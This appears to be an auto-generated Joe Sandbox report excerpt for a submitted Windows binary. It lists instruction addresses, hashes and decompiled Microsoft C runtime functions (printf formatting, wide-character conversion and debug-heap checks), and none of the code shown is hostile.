0x0043bd2a
0x0043bd2d
0x0043bd2f
0x0043bd2f
0x0043bd32
0x00000000
0x00000000
0x0043bd4d
0x0043bd4d
0x00000000
0x00000000
0x0043bd59
0x0043bd59
0x0043bd63
0x0043bd83
0x0043bd86
0x0043bd90
0x0043bd90
0x0043bd94
0x0043bd65
0x0043bd65
0x0043bd71
0x0043bd78
0x0043bd7a
0x0043bd7a
0x0043bd81
0x00000000
0x00000000
0x0043bd9c
0x0043bd9c
0x0043bda3
0x0043bdaf
0x0043bdb2
0x0043bdbf
0x0043bed2
0x00000000
0x0043bed2
0x0043bdc5
0x0043bdcb
0x0043bdcb
0x0043bdd2
0x00000000
0x0043be09
0x0043be09
0x0043be0c
0x0043be12
0x0043be39
0x0043be39
0x0043be3c
0x0043be42
0x0043be66
0x0043be66
0x0043be69
0x0043be6f
0x0043bea8
0x0043beb9
0x00000000
0x0043beb9
0x0043be71
0x0043be71
0x0043be74
0x0043be7a
0x00000000
0x00000000
0x0043be7c
0x0043be7c
0x0043be7f
0x0043be85
0x00000000
0x00000000
0x0043be87
0x0043be87
0x0043be8a
0x0043be90
0x00000000
0x00000000
0x0043be92
0x0043be92
0x0043be95
0x0043be9b
0x00000000
0x00000000
0x0043be9d
0x0043be9d
0x0043bea0
0x0043bea6
0x0043beaa
0x00000000
0x0043beaa
0x00000000
0x0043bea6
0x0043be44
0x0043be44
0x0043be47
0x0043be4e
0x00000000
0x0043be50
0x0043be53
0x0043be56
0x0043be5c
0x0043be61
0x00000000
0x0043be61
0x0043be4e
0x0043be14
0x0043be14
0x0043be17
0x0043be1e
0x00000000
0x0043be20
0x0043be23
0x0043be26
0x0043be2c
0x0043be31
0x00000000
0x0043be31
0x00000000
0x0043bebb
0x0043bebb
0x0043bebe
0x0043bec1
0x00000000
0x00000000
0x0043bdd9
0x0043bdd9
0x0043bddc
0x0043bde2
0x0043bdfe
0x0043be01
0x0043bde4
0x0043bde4
0x0043bde7
0x0043bdea
0x0043bdf0
0x0043bdf6
0x0043bdf6
0x00000000
0x00000000
0x0043bec6
0x0043bec9
0x0043becf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bcd9
0x0043bcd9
0x0043bcdc
0x0043bcdf
0x00000000
0x00000000
0x0043bce4
0x0043bce7
0x0043bced
0x00000000
0x00000000
0x0043bcce
0x0043bcd1
0x0043bcd4
0x00000000
0x00000000
0x0043bcc3
0x0043bcc6
0x0043bcc9
0x00000000
0x00000000
0x0043bcf2
0x0043bcf5
0x0043bcf8
0x00000000
0x00000000
0x0043bcfb
0x00000000
0x00000000
0x0043bb6b
0x0043bb6b
0x0043bb6d
0x0043bb7b
0x0043bb6f
0x0043bb6f
0x0043bb6f
0x0043bb8b
0x0043bb98
0x0043bb9a
0x0043bb9f
0x0043bba1
0x0043bba6
0x0043bbab
0x0043bbad
0x0043bbb2
0x0043bbb8
0x0043bbba
0x0043bbba
0x0043bbb8
0x0043bbbb
0x0043bbc2
0x00000000
0x0043bbc4
0x0043bbc9
0x0043bbe5
0x0043bbed
0x0043bbfa
0x0043bbff
0x0043ca14
0x0043ca21
0x0043ca21
0x0043bbc2
0x0043bb65
0x0043c950
0x0043c957
0x0043c96e
0x0043c962
0x0043c962
0x0043c962
0x0043c978
0x0043c97e
0x0043c98b
0x0043c98d
0x0043c992
0x0043c994
0x0043c999
0x0043c99e
0x0043c9a0
0x0043c9a5
0x0043c9ab
0x0043c9ad
0x0043c9ad
0x0043c9ab
0x0043c9b5
0x0043ca00
0x0043ca09
0x0043ca0e
0x0043c9b7
0x0043c9bc
0x0043c9d8
0x0043c9e0
0x0043c9ed
0x0043c9f2
0x0043c9f2
0x00000000
0x0043c9b5
0x0043c75a
0x0043c760
0x0043c76a
0x0043c784
0x0043c79e
0x0043c7a5
0x0043c7a9
0x0043c7a9
0x0043c786
0x0043c78b
0x0043c78f
0x0043c78f
0x0043c76c
0x0043c771
0x0043c775
0x0043c775
0x0043c76a
0x0043c7b9
0x0043c7c5
0x0043c7db
0x0043c7e0
0x0043c7e0
0x0043c7f6
0x0043c7fb
0x0043c804
0x0043c822
0x0043c827
0x0043c827
0x0043c82e
0x0043c8e8
0x0043c8fb
0x0043c900
0x00000000
0x0043c83e
0x0043c83e
0x0043c841
0x0043c84a
0x0043c850
0x0043c850
0x0043c85f
0x0043c867
0x00000000
0x00000000
0x0043c869
0x0043c86c
0x0043c891
0x0043c896
0x0043c899
0x0043c8a6
0x0043c8b4
0x0043c8c7
0x0043c8cc
0x0043c8db
0x00000000
0x0043c8db
0x0043c8a8
0x0043c8a8
0x00000000
0x0043c8a8
0x0043c8e6
0x0043c903
0x0043c90a
0x0043c928
0x0043c92d
0x0043c92d
0x00000000
0x0043c90a
0x0043bed7
0x0043bed7
0x0043bede
0x0043bee4
0x0043beea
0x0043beed
0x0043bef3
0x0043bf00
0x0043bf06
0x0043bf06
0x0043bf0d
0x00000000
0x0043c291
0x0043c291
0x0043c29f
0x0043c2a2
0x00000000
0x00000000
0x0043bf14
0x0043bf17
0x0043bf1d
0x0043bf22
0x0043bf25
0x0043bf25
0x00000000
0x00000000
0x0043c05a
0x0043c05d
0x0043c062
0x0043c067
0x0043c06a
0x0043c06a
0x00000000
0x00000000
0x0043c45d
0x0043c45d
0x00000000
0x00000000
0x0043bfc4
0x0043bfc4
0x0043bfd0
0x0043bfdd
0x0043bfeb
0x0043bfeb
0x0043bff1
0x0043bff4
0x0043c000
0x0043c055
0x00000000
0x0043c055
0x0043bfdf
0x0043bfdf
0x0043bfe9
0x0043c005
0x0043c008
0x0043c00e
0x0043c036
0x0043c03d
0x0043c043
0x0043c046
0x0043c049
0x0043c04f
0x0043c052
0x0043c010
0x0043c010
0x0043c016
0x0043c019
0x0043c01c
0x0043c022
0x0043c025
0x0043c028
0x0043c02a
0x0043c02d
0x0043c02d
0x00000000
0x0043c00e
0x00000000
0x00000000
0x0043c2a9
0x0043c2ac
0x0043c2af
0x0043c2b2
0x0043c2b8
0x0043c2bb
0x0043c2c6
0x0043c2d1
0x0043c2d5
0x0043c2ec
0x0043c2f3
0x0043c2f5
0x0043c2f5
0x0043c2fc
0x0043c303
0x0043c311
0x0043c314
0x0043c323
0x0043c32a
0x0043c33f
0x0043c32c
0x0043c32c
0x0043c32f
0x0043c335
0x0043c33a
0x0043c33a
0x0043c32a
0x0043c349
0x0043c34c
0x0043c34f
0x0043c352
0x0043c355
0x0043c358
0x0043c35e
0x0043c364
0x0043c36c
0x0043c36d
0x0043c370
0x0043c371
0x0043c374
0x0043c375
0x0043c37c
0x0043c37d
0x0043c380
0x0043c381
0x0043c384
0x0043c385
0x0043c38b
0x0043c38c
0x0043c39b
0x0043c39d
0x0043c3a3
0x0043c3a8
0x0043c3b0
0x0043c3b8
0x0043c3b9
0x0043c3bc
0x0043c3bd
0x0043c3cc
0x0043c3ce
0x0043c3ce
0x0043c3d1
0x0043c3db
0x0043c3e0
0x0043c3e6
0x0043c3e8
0x0043c3f0
0x0043c3f1
0x0043c3f4
0x0043c3f5
0x0043c403
0x0043c405
0x0043c405
0x0043c3e6
0x0043c408
0x0043c40b
0x0043c411
0x0043c416
0x0043c41b
0x0043c421
0x0043c424
0x0043c424
0x0043c427
0x0043c433
0x00000000
0x0043c433
0x0043c2d7
0x0043c2d7
0x0043c2e1
0x00000000
0x00000000
0x0043c2e3
0x0043c2e3
0x00000000
0x0043c2e3
0x0043c2c8
0x0043c2c8
0x00000000
0x00000000
0x0043bf28
0x0043bf28
0x0043bf33
0x0043bf3b
0x0043bf42
0x0043bf45
0x0043bf48
0x0043bfa8
0x0043bf4a
0x0043bf51
0x0043bf57
0x0043bf5d
0x0043bf64
0x0043bf67
0x0043bf6d
0x0043bf75
0x0043bf77
0x0043bf7e
0x0043bf85
0x0043bf96
0x0043bf98
0x0043bf98
0x0043bf9f
0x0043bfaf
0x0043bfb5
0x0043bfb8
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c19a
0x0043c19a
0x0043c1a6
0x0043c1b3
0x0043c25d
0x0043c25d
0x0043c260
0x0043c263
0x0043c277
0x0043c27d
0x0043c283
0x0043c265
0x0043c265
0x0043c26b
0x0043c272
0x0043c272
0x0043c285
0x00000000
0x0043c285
0x0043c1b9
0x0043c1b9
0x0043c1bb
0x0043c1c9
0x0043c1bd
0x0043c1bd
0x0043c1bd
0x0043c1d3
0x0043c1d9
0x0043c1e6
0x0043c1e8
0x0043c1ed
0x0043c1ef
0x0043c1f4
0x0043c1f9
0x0043c1fb
0x0043c200
0x0043c206
0x0043c208
0x0043c208
0x0043c206
0x0043c210
0x0043c258
0x00000000
0x0043c212
0x0043c212
0x0043c217
0x0043c233
0x0043c23b
0x0043c245
0x0043c248
0x0043c24d
0x00000000
0x0043c24d
0x00000000
0x0043c4a4
0x0043c4a4
0x0043c4ae
0x0043c4b4
0x0043c4b9
0x0043c4bf
0x0043c4bf
0x00000000
0x00000000
0x0043c456
0x0043c456
0x00000000
0x00000000
0x0043c06d
0x0043c071
0x0043c07f
0x0043c082
0x0043c073
0x0043c073
0x0043c073
0x0043c088
0x0043c08e
0x0043c094
0x0043c0a0
0x0043c0a6
0x0043c0a9
0x0043c131
0x0043c135
0x0043c137
0x0043c13d
0x0043c13d
0x0043c140
0x0043c147
0x0043c14a
0x0043c150
0x0043c150
0x0043c150
0x0043c156
0x0043c15c
0x0043c15f
0x0043c167
0x00000000
0x00000000
0x0043c169
0x0043c169
0x0043c16f
0x0043c174
0x00000000
0x00000000
0x0043c176
0x0043c17c
0x0043c17f
0x0043c17f
0x0043c187
0x0043c18d
0x0043c190
0x0043c192
0x00000000
0x0043c0af
0x0043c0af
0x0043c0b3
0x0043c0b5
0x0043c0ba
0x0043c0ba
0x0043c0bd
0x0043c0c0
0x0043c0c6
0x0043c0d8
0x0043c0d8
0x0043c0d8
0x0043c0e1
0x00000000
0x00000000
0x0043c0e3
0x0043c0e3
0x0043c0e9
0x0043c0ee
0x00000000
0x00000000
0x0043c0f0
0x0043c0f0
0x0043c0f9
0x0043c0ff
0x0043c10d
0x0043c115
0x0043c118
0x0043c118
0x0043c124
0x0043c127
0x0043c0d2
0x0043c0d5
0x0043c0d5
0x0043c12f
0x0043c195
0x00000000
0x0043c195
0x00000000
0x0043c44d
0x0043c44d
0x00000000
0x00000000
0x0043c469
0x0043c469
0x0043c473
0x0043c473
0x0043c47d
0x0043c483
0x0043c485
0x0043c48a
0x0043c494
0x0043c497
0x0043c49b
0x0043c49b
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bf0d
0x0043c750
0x0043c750
0x0043c750
0x0043c750
0x0043c750
0x0043c750
0x0043c750
0x0043c5a7
0x0043c59e
0x0043c4c2
0x0043c4c2
0x0043c4c2

APIs

_get_int64_arg.LIBCMTD ref: 0043C4D0
_get_int64_arg.LIBCMTD ref: 0043C4F8
__aullrem.LIBCMT ref: 0043C6A0
__aulldiv.LIBCMT ref: 0043C6C2
_write_multi_char.LIBCMTD ref: 0043C7DB
_write_string.LIBCMTD ref: 0043C7F6
_write_multi_char.LIBCMTD ref: 0043C822
__mbtowc_l.LIBCMTD ref: 0043C891

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BBA6, 0043BBD6
_woutput_s_l, xrefs: 0043BBDB
("Incorrect format specifier", 0), xrefs: 0043BB9A, 0043BBE0
9, xrefs: 0043C6D3

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: bdb48e12c929ce384a87cb2b14f78783b6553f3c95417f7feee7b7633b902591
Instruction ID: 13c3550f943af9e4df0495bb5d9cfbbda1edc878cba16277b2c9c558007c2cfb
Opcode Fuzzy Hash: bdb48e12c929ce384a87cb2b14f78783b6553f3c95417f7feee7b7633b902591
Instruction Fuzzy Hash: 26F13AB1D002299FDB24DF58CC81BAEB7B5FB89304F14519AE609B7241D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004372B3, Relevance: 33.3, APIs: 22, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004372B3(void* __ebx, void* __edi, void* __esi) {
				intOrPtr* _t143;
				signed int* _t145;
				int _t150;
				intOrPtr* _t167;
				intOrPtr _t189;
				void* _t206;
				intOrPtr _t223;
				intOrPtr _t230;
				void* _t272;
				void* _t273;
				signed int _t274;

				_t273 = __esi;
				_t272 = __edi;
				_t206 = __ebx;
				if( *(_t274 + 8) == 0) {
					_t143 = E0041AEF0(_t274 - 0x20);
					_t208 =  *_t143;
					if( *((intOrPtr*)( *_t143 + 0x14)) != 0) {
						_t210 = _t274 - 0x20;
						_t145 = E0041AEF0(_t274 - 0x20);
						_t256 =  *_t145;
						 *(_t274 - 4) = WideCharToMultiByte( *( *_t145 + 4), 0,  *(_t274 + 0xc), 0xffffffff, 0, 0, 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							 *((intOrPtr*)(L00422F10(_t210))) = 0x2a;
							 *(_t274 - 0x68) = 0xffffffff;
							E0041AEC0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x68);
						} else {
							 *(_t274 - 0x6c) =  *(_t274 - 4) - 1;
							E0041AEC0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x6c);
						}
					} else {
						_t256 =  *(_t274 + 0xc);
						 *(_t274 - 0x64) = E0042DC00(_t208,  *(_t274 + 0xc));
						E0041AEC0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x64);
					}
					L47:
					return E0042BD60(_t150, _t206,  *(_t274 - 0x24) ^ _t274, _t256, _t272, _t273);
				}
				if( *((intOrPtr*)( *((intOrPtr*)(E0041AEF0(_t274 - 0x20))) + 0x14)) != 0) {
					if( *((intOrPtr*)( *((intOrPtr*)(E0041AEF0(_t274 - 0x20))) + 0xac)) != 1) {
						_t223 =  *((intOrPtr*)(E0041AEF0(_t274 - 0x20)));
						_t256 =  *(_t223 + 4);
						 *(_t274 - 4) = WideCharToMultiByte( *(_t223 + 4), 0,  *(_t274 + 0xc), 0xffffffff,  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							if( *(_t274 - 0x10) != 0 || GetLastError() != 0x7a) {
								 *((intOrPtr*)(L00422F10(_t223))) = 0x2a;
								 *(_t274 - 0x4c) = 0xffffffff;
								E0041AEC0(_t274 - 0x20);
								_t150 =  *(_t274 - 0x4c);
							} else {
								while( *(_t274 - 4) <  *(_t274 + 0x10)) {
									_t167 = E0041AEF0(_t274 - 0x20);
									_t230 =  *((intOrPtr*)(E0041AEF0(_t274 - 0x20)));
									_t256 =  *(_t230 + 4);
									 *((intOrPtr*)(_t274 - 0xc)) = WideCharToMultiByte( *(_t230 + 4), 0,  *(_t274 + 0xc), 1, _t274 - 0x2c,  *( *_t167 + 0xac), 0, _t274 - 0x10);
									if( *((intOrPtr*)(_t274 - 0xc)) == 0 ||  *(_t274 - 0x10) != 0) {
										 *((intOrPtr*)(L00422F10(_t230))) = 0x2a;
										 *(_t274 - 0x50) = 0xffffffff;
										E0041AEC0(_t274 - 0x20);
										_t150 =  *(_t274 - 0x50);
									} else {
										if( *((intOrPtr*)(_t274 - 0xc)) < 0 ||  *((intOrPtr*)(_t274 - 0xc)) > 5) {
											 *((intOrPtr*)(L00422F10(_t230))) = 0x2a;
											 *(_t274 - 0x54) = 0xffffffff;
											E0041AEC0(_t274 - 0x20);
											_t150 =  *(_t274 - 0x54);
										} else {
											if( *(_t274 - 4) +  *((intOrPtr*)(_t274 - 0xc)) <=  *(_t274 + 0x10)) {
												 *(_t274 - 8) = 0;
												while( *(_t274 - 8) <  *((intOrPtr*)(_t274 - 0xc))) {
													( *(_t274 + 8))[ *(_t274 - 4)] =  *((intOrPtr*)(_t274 +  *(_t274 - 8) - 0x2c));
													_t256 =  &(( *(_t274 + 8))[ *(_t274 - 4)]);
													if(( *(_t274 + 8))[ *(_t274 - 4)] != 0) {
														 *(_t274 - 8) =  *(_t274 - 8) + 1;
														 *(_t274 - 4) =  *(_t274 - 4) + 1;
														continue;
													}
													 *(_t274 - 0x5c) =  *(_t274 - 4);
													E0041AEC0(_t274 - 0x20);
													_t150 =  *(_t274 - 0x5c);
													goto L47;
												}
												_t256 =  &(( *(_t274 + 0xc))[1]);
												 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
												continue;
											}
											 *(_t274 - 0x58) =  *(_t274 - 4);
											E0041AEC0(_t274 - 0x20);
											_t150 =  *(_t274 - 0x58);
										}
									}
									goto L47;
								}
								 *(_t274 - 0x60) =  *(_t274 - 4);
								E0041AEC0(_t274 - 0x20);
								_t150 =  *(_t274 - 0x60);
							}
						} else {
							 *(_t274 - 0x48) =  *(_t274 - 4) - 1;
							E0041AEC0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x48);
						}
						goto L47;
					}
					if( *(_t274 + 0x10) > 0) {
						 *(_t274 + 0x10) = E004376A0( *(_t274 + 0xc),  *(_t274 + 0x10));
					}
					_t256 =  *(_t274 + 0xc);
					_t189 =  *((intOrPtr*)(E0041AEF0(_t274 - 0x20)));
					_t243 =  *(_t189 + 4);
					 *(_t274 - 4) = WideCharToMultiByte( *(_t189 + 4), 0,  *(_t274 + 0xc),  *(_t274 + 0x10),  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
					if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
						 *((intOrPtr*)(L00422F10(_t243))) = 0x2a;
						 *(_t274 - 0x44) = 0xffffffff;
						E0041AEC0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x44);
					} else {
						if( *((char*)( &(( *(_t274 + 8))[ *(_t274 - 4)]) - 1)) == 0) {
							 *(_t274 - 4) =  *(_t274 - 4) - 1;
						}
						_t256 =  *(_t274 - 4);
						 *(_t274 - 0x40) =  *(_t274 - 4);
						E0041AEC0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x40);
					}
					goto L47;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t248 =  *(_t274 - 4);
					if( *(_t274 - 4) >=  *(_t274 + 0x10)) {
						break;
					}
					_t256 =  *(_t274 + 0xc);
					if(( *( *(_t274 + 0xc)) & 0x0000ffff) <= 0xff) {
						( *(_t274 + 8))[ *(_t274 - 4)] =  *( *(_t274 + 0xc));
						_t256 =  *( *(_t274 + 0xc)) & 0x0000ffff;
						 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
						if(( *( *(_t274 + 0xc)) & 0x0000ffff) != 0) {
							_t256 =  *(_t274 - 4) + 1;
							 *(_t274 - 4) =  *(_t274 - 4) + 1;
							continue;
						}
						 *(_t274 - 0x38) =  *(_t274 - 4);
						E0041AEC0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x38);
					} else {
						 *((intOrPtr*)(L00422F10(_t248))) = 0x2a;
						 *(_t274 - 0x34) = 0xffffffff;
						E0041AEC0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x34);
					}
					goto L47;
				}
				 *(_t274 - 0x3c) =  *(_t274 - 4);
				E0041AEC0(_t274 - 0x20);
				_t150 =  *(_t274 - 0x3c);
				goto L47;
			}

0x004372b3
0x004372b3
0x004372b3
0x004372b7
0x004375ee
0x004375f3
0x004375f9
0x0043762b
0x0043762e
0x00437633
0x0043763f
0x00437646
0x00437653
0x00437659
0x00437663
0x00437668
0x0043766d
0x00437673
0x00437679
0x0043767e
0x0043767e
0x004375fb
0x004375fb
0x00437607
0x0043760d
0x00437612
0x00437612
0x0043768b
0x00437698
0x00437698
0x004372cb
0x00437375
0x00437441
0x00437443
0x0043744d
0x00437454
0x00437479
0x0043748b
0x00437491
0x0043749b
0x004374a0
0x004374a8
0x004374a8
0x004374bd
0x004374df
0x004374e1
0x004374eb
0x004374f2
0x004374ff
0x00437505
0x0043750f
0x00437514
0x0043751c
0x00437520
0x0043752d
0x00437533
0x0043753d
0x00437542
0x0043754a
0x00437553
0x0043756b
0x00437586
0x0043759b
0x004375a0
0x004375a8
0x0043757a
0x00437583
0x00000000
0x00437583
0x004375ad
0x004375b3
0x004375b8
0x00000000
0x004375b8
0x004375c5
0x004375c8
0x00000000
0x004375c8
0x00437558
0x0043755e
0x00437563
0x00437563
0x00437520
0x00000000
0x004374f2
0x004375d3
0x004375d9
0x004375de
0x004375de
0x0043745c
0x00437462
0x00437468
0x0043746d
0x0043746d
0x00000000
0x00437454
0x0043737f
0x00437391
0x00437391
0x004373a6
0x004373b4
0x004373b6
0x004373c0
0x004373c7
0x00437401
0x00437407
0x00437411
0x00437416
0x004373cf
0x004373db
0x004373e3
0x004373e3
0x004373e6
0x004373e9
0x004373ef
0x004373f4
0x004373f4
0x00000000
0x00000000
0x00000000
0x00000000
0x004372d1
0x004372d1
0x004372d1
0x004372d7
0x00000000
0x00000000
0x004372d9
0x004372e4
0x00437313
0x00437318
0x00437321
0x00437326
0x00437341
0x00437344
0x00000000
0x00437344
0x0043732b
0x00437331
0x00437336
0x004372e6
0x004372eb
0x004372f1
0x004372fb
0x00437300
0x00437300
0x00000000
0x004372e4
0x0043734c
0x00437352
0x00437357
0x00000000

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004372FB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437331
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437352
wcsncnt.LIBCMTD ref: 00437389
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 004373BA
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004373EF
_wcslen.LIBCMTD ref: 004375FF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043760D

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide_wcslenwcsncnt
String ID:
API String ID: 4277434810-0
Opcode ID: 52babf2aa059d2923123ad3f94df2ec5cb9d162f7c6b0d4406c32d4b4a6ba0a6
Instruction ID: 30ca241ddd98a43133bd1ca445c38708e3acbbe24327994ec9ae2a6d6162fde9
Opcode Fuzzy Hash: 52babf2aa059d2923123ad3f94df2ec5cb9d162f7c6b0d4406c32d4b4a6ba0a6
Instruction Fuzzy Hash: DED15BB1904208EFCF18DF94C995AEEBBB1FF48314F20815AE8526B291D738AE41DF55

Uniqueness

Uniqueness Score: -1.00%

Function 0041C6D5, Relevance: 31.8, APIs: 6, Strings: 12, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041C6E9
__CrtIsValidHeapPointer.LIBCMTD ref: 0041C775
_CheckBytes.LIBCMTD ref: 0041C820
_CheckBytes.LIBCMTD ref: 0041C8DA
_memset.LIBCMT ref: 0041C9D1
__free_base.LIBCMTD ref: 0041C9DD

Strings

_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 0041C7DF
_CrtIsValidHeapPointer(pUserData), xrefs: 0041C781
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 0041C8A7
tDj, xrefs: 0041C72B
Client hook free failure., xrefs: 0041C74C
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C869
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 0041C961
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C78D, 0041C7EB, 0041C9A6
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C923
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 0041C6F9
u!h@$@, xrefs: 0041C77F
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 0041C99A

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ$tDj$u!h@$@
API String ID: 25084783-1491168652
Opcode ID: 6be94447cfd04a7abb6af570c1eb0e52c4768e5b2648e377d20e13f816c97d8f
Instruction ID: 6b20700cb70b4a75e66054c7f9974e02f1e98e71cea3de386a3e55310b0f7949
Opcode Fuzzy Hash: 6be94447cfd04a7abb6af570c1eb0e52c4768e5b2648e377d20e13f816c97d8f
Instruction Fuzzy Hash: 2B91B674B80205FBDB24DB44DEC6FAA7366AB44704F344159F6046B2C2D2B5EE81CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00434D87, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 241
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00434D87(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t494;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t529;
				signed int _t547;
				void* _t558;
				signed int _t567;
				void* _t625;
				void* _t626;
				signed int _t627;
				void* _t629;
				void* _t630;

				L0:
				while(1) {
					L0:
					_t626 = __esi;
					_t625 = __edi;
					_t558 = __ebx;
					_t494 = E00428400(_t627 + 0x14);
					_t630 = _t629 + 4;
					 *(_t627 - 0x298) = _t494;
					if(E00433FB0() != 0) {
						goto L118;
					}
					L109:
					__edx = 0;
					if(0 == 0) {
						 *(__ebp - 0x32c) = 0;
					} else {
						 *(__ebp - 0x32c) = 1;
					}
					__eax =  *(__ebp - 0x32c);
					 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
					if( *(__ebp - 0x29c) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E420();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x29c) != 0) {
						L117:
						while(1) {
							L190:
							if( *(_t627 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t627 - 0x10) & 0x00000040) != 0) {
								if(( *(_t627 - 0x10) & 0x00000100) == 0) {
									if(( *(_t627 - 0x10) & 0x00000001) == 0) {
										if(( *(_t627 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t627 - 0x14)) = 0x20;
											 *(_t627 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t627 - 0x14)) = 0x2b;
										 *(_t627 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t627 - 0x14)) = 0x2d;
									 *(_t627 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t627 - 0x2c4)) =  *((intOrPtr*)(_t627 - 0x18)) -  *(_t627 - 0x24) -  *(_t627 - 0x1c);
							if(( *(_t627 - 0x10) & 0x0000000c) == 0) {
								E004357C0(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
							}
